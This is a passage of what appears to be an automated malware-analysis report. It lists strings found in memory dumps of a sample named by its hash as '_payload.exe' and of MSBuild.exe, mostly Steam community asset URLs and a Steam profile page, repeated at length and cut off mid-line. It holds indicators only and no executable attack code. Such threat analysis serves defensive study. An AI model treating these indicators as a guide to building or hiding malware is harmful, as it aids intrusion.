a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=GG0UCGgA
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=Dbzy
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 